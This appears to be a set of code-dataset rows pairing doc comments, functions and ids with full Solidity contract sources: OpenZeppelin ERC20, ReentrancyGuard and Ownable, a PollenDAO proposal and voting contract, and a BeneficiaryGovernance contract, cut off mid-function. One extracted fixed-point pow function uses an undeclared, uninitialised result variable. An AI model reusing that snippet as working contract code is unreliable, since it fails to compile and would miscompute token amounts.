Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Raises the 16.112-bit unsigned fixed point number base to the specified 256-bit unsigned integer power Returns a 16.112-bit unsigned fixed point number
function pow(uint128 base, uint256 power) internal pure returns (uint256){ uint256 x = base; while(power != 0){ if(power & 0x1 != 0){ result = (result * x) >> 112; } x = (x * x) >> 112; power >>=1; } return result; }
235,843
// SPDX-License-Identifier: MIT pragma solidity >=0.6 <0.7.0; import "./interfaces/IPollenDAO.sol"; import "./interfaces/IPollen.sol"; import "./interfaces/IRateQuoter.sol"; import "./lib/AddressSet.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/Initializable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol"; /** * @title PollenDAO Contract * @notice The main Pollen DAO contract * @author gtlewis, scorpion9979, vkonst */ contract PollenDAO_v1 is Initializable, ReentrancyGuardUpgradeSafe, IPollenDAO { using AddressSet for AddressSet.Set; using SafeMath for uint256; using SafeERC20 for IERC20; /** * @notice Type for representing a token proposal * @member proposalType The type of proposal (e.g., Invest, Divest) * @member assetTokenType The type of the asset token (e.g., ERC20) * @member assetTokenAddress The address of the asset token * @member assetTokenAmount The minimum (or exact) amount of the asset token being proposed to invest (or divest) * @member pollenAmount The exact (or minimum) amount of the Pollen being proposed to pay (or receive) * @member descriptionCid The IPFS CID hash of the proposal description text * @member submitter The submitter of the proposal * @member snapshotId The id of the snapshot storing balances during proposal submission * @member voters Addresses which voted on the proposal * @member yesVotes The total of yes votes for the proposal in Pollens * @member noVotes The total of no votes for the proposal in Pollens * @member votingExpiry The expiry timestamp for proposal voting * @member executionOpen The starting timestamp for proposal execution * @member executionExpiry The expiry timestamp for proposal execution * @member status The status of the proposal */ // TODO: optimize slot usage after the Proposal struct gets finalized struct Proposal { ProposalType proposalType; TokenType assetTokenType; address assetTokenAddress; uint256 assetTokenAmount; uint256 pollenAmount; string descriptionCid; address submitter; uint256 snapshotId; mapping(address => VoterState) voters; uint256 yesVotes; uint256 noVotes; uint256 votingExpiry; uint256 executionOpen; uint256 executionExpiry; ProposalStatus status; } uint constant maxDelay = 60 * 60 * 24 * 365; /** * @dev Reserved for possible storage structure changes */ uint256[49] private __gap; address private _owner; /** * @dev The Pollen token contract instance (private) */ IPollen private _pollen; /** * @dev The proposals (private) */ mapping(uint256 => Proposal) private _proposals; /** * @dev The count of proposals (private) */ uint256 private _proposalCount; /** * @dev The set of assets that the DAO holds (private) */ AddressSet.Set private _assets; /** * @dev The quorum required to pass a proposal vote in % points (private) */ uint256 private _quorum; /** * @dev The number of seconds until voting expires after proposal submission (private) */ uint256 private _votingExpiryDelay; /** * @dev The number of seconds until execution opens after proposal voting expires (private) */ uint256 private _executionOpenDelay; /** * @dev The number of seconds until execution expires after proposal execution opens (private) */ uint256 private _executionExpiryDelay; IRateQuoter private _rateQuoter; modifier onlyOwner() { require(_owner == msg.sender, "PollenDAO: unauthorised call"); _; } modifier revertZeroAddress(address _address) { require(_address != address(0), "PollenDAO: invalid token address"); _; } /** * @notice Initializer deploys a new Pollen instance and becomes owner of Pollen token (public) * @param pollen Address ot the Pollen token contract instance * @param quorum The quorum required to pass a proposal vote in % points * @param votingExpiryDelay The number of seconds until voting expires after proposal submission * @param executionOpenDelay The number of seconds until execution opens after voting expires * @param executionExpiryDelay The number of seconds until execution expires after it opens */ function initialize( address pollen, uint256 quorum, uint256 votingExpiryDelay, uint256 executionOpenDelay, uint256 executionExpiryDelay ) external initializer { __ReentrancyGuard_init_unchained(); _owner = msg.sender; _pollen = IPollen(pollen); _setParams(quorum, votingExpiryDelay, executionOpenDelay, executionExpiryDelay); } /// @inheritdoc IPollenDAO function version() external pure override returns (string memory) { return "v1"; } /// @inheritdoc IPollenDAO function getPollenAddress() external view override returns(address) { return _getPollenAddress(); } /// @inheritdoc IPollenDAO function getProposalData(uint256 proposalId) external view override returns( ProposalType proposalType, TokenType assetTokenType, address assetTokenAddress, uint256 assetTokenAmount, uint256 pollenAmount, string memory descriptionCid, address submitter, uint256 snapshotId, uint256 yesVotes, uint256 noVotes, ProposalStatus status ) { require(proposalId < _proposalCount, "PollenDAO: invalid proposal id"); Proposal memory proposal = _proposals[proposalId]; return ( proposal.proposalType, proposal.assetTokenType, proposal.assetTokenAddress, proposal.assetTokenAmount, proposal.pollenAmount, proposal.descriptionCid, proposal.submitter, proposal.snapshotId, proposal.yesVotes, proposal.noVotes, proposal.status ); } /// @inheritdoc IPollenDAO function getProposalTimestamps(uint256 proposalId) external view override returns( uint256 votingExpiry, uint256 executionOpen, uint256 executionExpiry ) { require(proposalId < _proposalCount, "PollenDAO: invalid proposal id"); Proposal memory proposal = _proposals[proposalId]; return ( proposal.votingExpiry, proposal.executionOpen, proposal.executionExpiry ); } /// @inheritdoc IPollenDAO function getVoterState(uint256 proposalId) external view override returns(VoterState) { require(proposalId < _proposalCount, "PollenDAO: invalid proposal id"); return (_proposals[proposalId].voters[msg.sender]); } /// @inheritdoc IPollenDAO function getProposalCount() external view override returns(uint256) { return _proposalCount; } /// @inheritdoc IPollenDAO function getAssets() external view override returns (address[] memory) { return _assets.elements; } /// @inheritdoc IPollenDAO function getVotingExpiryDelay() external view override returns(uint256) { return _votingExpiryDelay; } /// @inheritdoc IPollenDAO function getExecutionOpenDelay() external view override returns(uint256) { return _executionOpenDelay; } /// @inheritdoc IPollenDAO function getExecutionExpiryDelay() external view override returns(uint256) { return _executionExpiryDelay; } /// @inheritdoc IPollenDAO function getQuorum() external view override returns(uint256) { return _quorum; } /// @inheritdoc IPollenDAO function submit( ProposalType proposalType, TokenType assetTokenType, address assetTokenAddress, uint256 assetTokenAmount, uint256 pollenAmount, string memory descriptionCid ) external override revertZeroAddress(assetTokenAddress) { // TODO: validate IPFS CID format for descriptionCid require(proposalType < ProposalType.Last, "PollenDAO: invalid proposal type"); require(assetTokenType < TokenType.Last, "PollenDAO: invalid asset type"); require(_assets.contains(assetTokenAddress), "PollenDAO: unsupported asset"); require( assetTokenAddress != _getPollenAddress(), "PollenDAO: PLN can't be an asset" ); require( assetTokenAmount != 0 || pollenAmount != 0, "PollenDAO: both amounts are zero" ); uint256 proposalId = _proposalCount; uint256 votingExpiry = proposalId == 0 ? now : now + _votingExpiryDelay; uint256 executionOpen = proposalId == 0 ? votingExpiry : votingExpiry + _executionOpenDelay; Proposal memory proposal = Proposal( proposalType, assetTokenType, assetTokenAddress, assetTokenAmount, pollenAmount, descriptionCid, msg.sender, _pollen.snapshot(), // voters omitted (as it's mapping) 0, // yesVotes 0, // noVotes, votingExpiry, executionOpen, executionOpen + _executionExpiryDelay, ProposalStatus.Submitted ); _proposals[proposalId] = proposal; _proposalCount = uint256(proposalId) + 1; emit Submitted( proposalId, proposalType, msg.sender, proposal.snapshotId ); _addVote( proposalId, msg.sender, true, _pollen.balanceOfAt(msg.sender, proposal.snapshotId) ); } /// @inheritdoc IPollenDAO function voteOn(uint256 proposalId, bool vote) external override { require(proposalId < _proposalCount, "PollenDAO: invalid proposal id"); require( _proposals[proposalId].status == ProposalStatus.Submitted, "PollenDAO: invalid proposal status" ); require(now < _proposals[proposalId].votingExpiry, "PollenDAO: vote expired"); uint256 balance = _pollen.balanceOfAt(msg.sender, _proposals[proposalId].snapshotId); require(balance > 0, "PollenDAO: no voting tokens"); _addVote(proposalId, msg.sender, vote, balance); } /// @inheritdoc IPollenDAO function execute(uint256 proposalId) external override nonReentrant { require(proposalId < _proposalCount, "PollenDAO: invalid proposal id"); Proposal memory proposal = _proposals[proposalId]; require( proposal.status == ProposalStatus.Submitted, "PollenDAO: invalid proposal status" ); require(now >= proposal.votingExpiry, "PollenDAO: vote not expired"); require( ( proposal.yesVotes.add(proposal.noVotes) > _pollen.totalSupplyAt(proposal.snapshotId).mul(_quorum).div(100) ) || proposalId == 0, "PollenDAO: vote did not reach quorum" ); require( proposal.yesVotes > proposal.noVotes || proposalId == 0, "PollenDAO: vote failed" ); require(now >= proposal.executionOpen, "PollenDAO: execution not open"); require( now < proposal.executionExpiry || proposalId == 0, "PollenDAO: execution expired" ); require( proposal.submitter == msg.sender, "PollenDAO: only submitter can execute" ); IERC20 asset = IERC20(proposal.assetTokenAddress); (uint256 assetRate, ) = _rateQuoter.quotePrice(proposal.assetTokenAddress); (uint256 plnRate, ) = _rateQuoter.quotePrice(_getPollenAddress()); // [ETH/PLN] / [ETH/ASSET] = [ASSET/PLN] uint256 rate = plnRate.mul(1e4).div(assetRate); if (proposal.proposalType == ProposalType.Invest) { // [PLN] * [ASSET/PLN] = [ASSET] uint256 assetTokenAmount = proposal.pollenAmount.mul(rate).div(1e4); if (proposal.assetTokenAmount > assetTokenAmount) { assetTokenAmount = proposal.assetTokenAmount; } // OK to send Pollen first as long as the asset received in the end _pollen.mint(proposal.pollenAmount); _pollen.transfer(msg.sender, proposal.pollenAmount); asset.safeTransferFrom( msg.sender, address(this), assetTokenAmount ); emit Executed(proposalId, assetTokenAmount); } else if (proposal.proposalType == ProposalType.Divest) { // [ASSET] / [ASSET/PLN] = PLN uint256 pollenAmount = proposal.assetTokenAmount.mul(1e4).div(rate); if (proposal.pollenAmount > pollenAmount) { pollenAmount = proposal.pollenAmount; } // OK to send assets first as long as Pollen received in the end asset.safeTransfer(msg.sender, proposal.assetTokenAmount); _pollen.burnFrom(msg.sender, pollenAmount); emit Executed(proposalId, pollenAmount); } else { revert("unsupported proposal type"); } _proposals[proposalId].status = ProposalStatus.Executed; } /// @inheritdoc IPollenDAO function redeem(uint256 pollenAmount) external override nonReentrant { require(pollenAmount != 0, "PollenDAO: can't redeem zero amount"); uint256 totalSupply = _pollen.totalSupply(); _pollen.burnFrom(msg.sender, pollenAmount); // TODO: cap the asset list to prevent unbounded loop for (uint256 i=0; i < _assets.elements.length; i++) { IERC20 asset = IERC20(_assets.elements[i]); if (address(asset) != address(0)) { uint256 assetBalance = asset.balanceOf(address(this)); if (assetBalance == 0) { continue; } uint256 assetTokenAmount = assetBalance.mul(pollenAmount).div(totalSupply); asset.transfer( msg.sender, assetTokenAmount > assetBalance ? assetBalance : assetTokenAmount ); } } emit Redeemed( msg.sender, pollenAmount ); } /// @inheritdoc IPollenDAO function addAsset(address asset) external override onlyOwner revertZeroAddress(asset) { require(!_assets.contains(asset), "PollenDAO: already added"); require(_assets.add(asset)); emit assetAdded(asset); } /// @inheritdoc IPollenDAO function removeAsset(address asset) external override onlyOwner revertZeroAddress(asset) { require(_assets.contains(asset), "PollenDAO: unknown asset"); require(IERC20(asset).balanceOf(address(this)) == 0, "PollenDAO: asset has balance"); require(_assets.remove(asset)); emit assetRemoved(asset); } /// @inheritdoc IPollenDAO function setOwner(address newOwner) external override onlyOwner { require(newOwner != address(0), "PollenDAO: invalid owner address"); address oldOwner = _owner; _owner = newOwner; emit NewOwner(newOwner, oldOwner); } /// @inheritdoc IPollenDAO function setParams( uint256 quorum, uint256 votingExpiryDelay, uint256 executionOpenDelay, uint256 executionExpiryDelay ) external override onlyOwner { _setParams(quorum, votingExpiryDelay, executionOpenDelay, executionExpiryDelay); } /// @inheritdoc IPollenDAO function setPriceQuoter(address newQuoter) external override onlyOwner { require(newQuoter != address(0), "PollenDAO: quoter address"); address oldQuoter = address(_rateQuoter); _rateQuoter= IRateQuoter(newQuoter); emit NewPriceQuoter(newQuoter, oldQuoter); } function _getPollenAddress() private view returns(address) { return address(_pollen); } function _setParams( uint256 quorum, uint256 votingExpiryDelay, uint256 executionOpenDelay, uint256 executionExpiryDelay ) internal { require(quorum <= 100, "PollenDAO: invalid quorum"); // TODO: Define realistic min's and max's require( votingExpiryDelay > 60 && votingExpiryDelay < maxDelay, "PollenDAO: invalid voting expiry" ); require( executionOpenDelay > 60 && executionOpenDelay < maxDelay, "PollenDAO: invalid exec open" ); require( executionExpiryDelay > 60 && executionExpiryDelay < maxDelay, "PollenDAO: invalid exec expiry" ); _quorum = quorum; _votingExpiryDelay = votingExpiryDelay; _executionOpenDelay = executionOpenDelay; _executionExpiryDelay = executionExpiryDelay; } /** * @dev _addVote (private) * @param proposalId The proposal ID * @param voter The voter address * @param vote The yes/no vote * @param amount The amount of tokens voting */ function _addVote(uint256 proposalId, address voter, bool vote, uint256 amount) private { // if voter had already voted on the proposal, and if so what his vote was. VoterState voterState = _proposals[proposalId].voters[voter]; // allows to change old vote if (voterState == VoterState.VotedYes) { _proposals[proposalId].yesVotes = _proposals[proposalId].yesVotes.sub(amount); } else if (voterState == VoterState.VotedNo) { _proposals[proposalId].noVotes = _proposals[proposalId].noVotes.sub(amount); } if (vote) { _proposals[proposalId].yesVotes = _proposals[proposalId].yesVotes.add(amount); _proposals[proposalId].voters[voter] = VoterState.VotedYes; } else { _proposals[proposalId].noVotes = _proposals[proposalId].noVotes.add(amount); _proposals[proposalId].voters[voter] = VoterState.VotedNo; } emit VotedOn(proposalId, voter, vote); } }
@inheritdoc IPollenDAO
function getExecutionOpenDelay() external view override returns(uint256) { return _executionOpenDelay; }
13,099,100
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./Interfaces/IRegion.sol"; import "./Interfaces/IStaking.sol"; import "./Interfaces/IBeneficiaryRegistry.sol"; import "./ParticipationReward.sol"; import "./Governed.sol"; /** * @title BeneficiaryGovernance * @notice This contract is for submitting beneficiary nomination proposals and beneficiary takedown proposals */ contract BeneficiaryGovernance is ParticipationReward { using SafeMath for uint256; using SafeERC20 for IERC20; /** * BNP for Beneficiary Nomination Proposal * BTP for Beneficiary Takedown Proposal */ enum ProposalType { BeneficiaryNominationProposal, BeneficiaryTakedownProposal } enum ProposalStatus { New, ChallengePeriod, PendingFinalization, Passed, Failed } enum VoteOption { Yes, No } struct ConfigurationOptions { uint256 votingPeriod; uint256 vetoPeriod; uint256 proposalBond; } struct Proposal { ProposalStatus status; address beneficiary; mapping(address => bool) voters; bytes applicationCid; address proposer; uint256 startTime; bytes2 region; uint256 yesCount; uint256 noCount; uint256 voterCount; ProposalType proposalType; ConfigurationOptions configurationOptions; bytes32 vaultId; } /* ========== STATE VARIABLES ========== */ IRegion internal region; IStaking public staking; IBeneficiaryRegistry public beneficiaryRegistry; mapping(address => bool) pendingBeneficiaries; mapping(address => uint256) beneficiaryProposals; Proposal[] public proposals; uint256[] public nominations; uint256[] public takedowns; ConfigurationOptions public DefaultConfigurations; /* ========== EVENTS ========== */ event ProposalCreated( uint256 indexed proposalId, address indexed proposer, address indexed beneficiary, bytes applicationCid ); event Vote( uint256 indexed proposalId, address indexed voter, uint256 indexed weight ); event Finalize(uint256 indexed proposalId); event BondWithdrawn(address _address, uint256 amount); /* ========== CONSTRUCTOR ========== */ constructor( IStaking _staking, IBeneficiaryRegistry _beneficiaryRegistry, IERC20 _pop, IRegion _region, address _governance ) ParticipationReward(_pop, _governance) { staking = _staking; beneficiaryRegistry = _beneficiaryRegistry; region = _region; _setDefaults(); } /* ========== VIEW FUNCTIONS ========== */ /** * @notice returns number of created proposals */ function getNumberOfProposals(ProposalType _type) public view returns (uint256) { if (_type == ProposalType.BeneficiaryNominationProposal) { return nominations.length; } return takedowns.length; } /** * @notice gets number of votes * @param proposalId id of the proposal * @return number of votes to a proposal */ function getNumberOfVoters(uint256 proposalId) external view returns (uint256) { return proposals[proposalId].voterCount; } /** * @notice gets status * @param proposalId id of the proposal * @return status of proposal */ function getStatus(uint256 proposalId) external view returns (ProposalStatus) { return proposals[proposalId].status; } /** * @notice checks if someone has voted to a specific proposal or not * @param proposalId id of the proposal * @param voter address opf voter * @return boolean */ function hasVoted(uint256 proposalId, address voter) external view returns (bool) { return proposals[proposalId].voters[voter]; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice creates a beneficiary nomination proposal or a beneficiary takedown proposal * @param _beneficiary address of the beneficiary * @param _applicationCid IPFS content hash * @param _type the proposal type (nomination / takedown) * @return proposalId */ function createProposal( address _beneficiary, bytes2 _region, bytes calldata _applicationCid, ProposalType _type ) external validAddress(_beneficiary) enoughBond(msg.sender) returns (uint256) { //require(region.regionExists(_region), "region doesnt exist"); _assertProposalPreconditions(_type, _beneficiary); if (DefaultConfigurations.proposalBond > 0) { POP.safeTransferFrom( msg.sender, address(this), DefaultConfigurations.proposalBond ); } uint256 proposalId = proposals.length; proposals.push(); if (_type == ProposalType.BeneficiaryNominationProposal) { nominations.push(proposalId); } else { takedowns.push(proposalId); } Proposal storage proposal = proposals[proposalId]; // Create a new proposal proposal.status = ProposalStatus.New; proposal.beneficiary = _beneficiary; proposal.status = ProposalStatus.New; proposal.applicationCid = _applicationCid; proposal.proposer = msg.sender; proposal.startTime = block.timestamp; proposal.region = _region; proposal.proposalType = _type; proposal.configurationOptions = DefaultConfigurations; (bool vaultCreated, bytes32 vaultId) = _initializeVault( keccak256(abi.encodePacked(proposalId, block.timestamp)), block.timestamp.add(DefaultConfigurations.votingPeriod) ); if (vaultCreated) { proposal.vaultId = vaultId; } pendingBeneficiaries[_beneficiary] = true; beneficiaryProposals[_beneficiary] = proposals.length; emit ProposalCreated(proposalId, msg.sender, _beneficiary, _applicationCid); return proposalId; } /** * @notice refresh status * @param proposalId id of the proposal */ function refreshState(uint256 proposalId) external { Proposal storage proposal = proposals[proposalId]; _refreshState(proposal); } /** * @notice votes to a specific proposal during the initial voting process * @param proposalId id of the proposal which you are going to vote */ function vote(uint256 proposalId, VoteOption _vote) external { Proposal storage proposal = proposals[proposalId]; _refreshState(proposal); require( proposal.status == ProposalStatus.New || proposal.status == ProposalStatus.ChallengePeriod, "Proposal is no longer in voting period" ); require( !proposal.voters[msg.sender], "address already voted for the proposal" ); uint256 _voiceCredits = getVoiceCredits(msg.sender); proposal.voters[msg.sender] = true; proposal.voterCount = proposal.voterCount.add(1); if (_vote == VoteOption.Yes) { require( proposal.status == ProposalStatus.New, "Initial voting period has already finished!" ); proposal.yesCount = proposal.yesCount.add(_voiceCredits); } if (_vote == VoteOption.No) { proposal.noCount = proposal.noCount.add(_voiceCredits); } if (proposal.vaultId != "") { _addShares(proposal.vaultId, msg.sender, _voiceCredits); } emit Vote(proposalId, msg.sender, _voiceCredits); } /** * @notice finalizes the voting process * @param proposalId id of the proposal */ function finalize(uint256 proposalId) public { Proposal storage proposal = proposals[proposalId]; _refreshState(proposal); require( proposal.status == ProposalStatus.PendingFinalization, "Finalization not allowed" ); if (proposal.yesCount <= proposal.noCount) { proposal.status = ProposalStatus.Failed; } if (proposal.yesCount > proposal.noCount) { proposal.status = ProposalStatus.Passed; _handleSuccessfulProposal(proposal); } _resetBeneficiaryPendingState(proposal.beneficiary); if (proposal.vaultId != "") { _openVault(proposal.vaultId); } emit Finalize(proposalId); } /** * @notice claims bond after a successful proposal voting * @param proposalId id of the proposal */ function claimBond(uint256 proposalId) public { Proposal storage proposal = proposals[proposalId]; require( msg.sender == proposal.proposer, "only the proposer may call this function" ); require( proposal.status == ProposalStatus.Passed, "Proposal failed or is processing!" ); uint256 amount = proposal.configurationOptions.proposalBond; POP.approve(address(this), amount); POP.safeTransferFrom(address(this), msg.sender, amount); emit BondWithdrawn(msg.sender, amount); } /* ========== RESTRICTED FUNCTIONS ========== */ /** * @notice gets the voice credits of an address using the staking contract * @param _address address of the voter * @return _voiceCredits voiceCredits of user */ function getVoiceCredits(address _address) internal view returns (uint256 _voiceCredits) { _voiceCredits = staking.getVoiceCredits(_address); require(_voiceCredits > 0, "must have voice credits from staking"); return _voiceCredits; } /** * @notice checks beneficiary exists or doesn't exist before creating beneficiary nomination proposal or takedown proposal */ function _assertProposalPreconditions( ProposalType _type, address _beneficiary ) internal view { if (ProposalType.BeneficiaryTakedownProposal == _type) { require( beneficiaryRegistry.beneficiaryExists(_beneficiary), "Beneficiary doesnt exist!" ); } if (ProposalType.BeneficiaryNominationProposal == _type) { require( !pendingBeneficiaries[_beneficiary] && !beneficiaryRegistry.beneficiaryExists(_beneficiary), "Beneficiary proposal is pending or already exists!" ); } } function _resetBeneficiaryPendingState(address _beneficiary) internal { pendingBeneficiaries[_beneficiary] = false; } function _handleSuccessfulProposal(Proposal storage proposal) internal { if (proposal.proposalType == ProposalType.BeneficiaryNominationProposal) { beneficiaryRegistry.addBeneficiary( proposal.beneficiary, proposal.region, proposal.applicationCid ); } if (proposal.proposalType == ProposalType.BeneficiaryTakedownProposal) { beneficiaryRegistry.revokeBeneficiary(proposal.beneficiary); } } /** * @notice updates the state of the proposal * @param proposal passed in proposal */ function _refreshState(Proposal storage 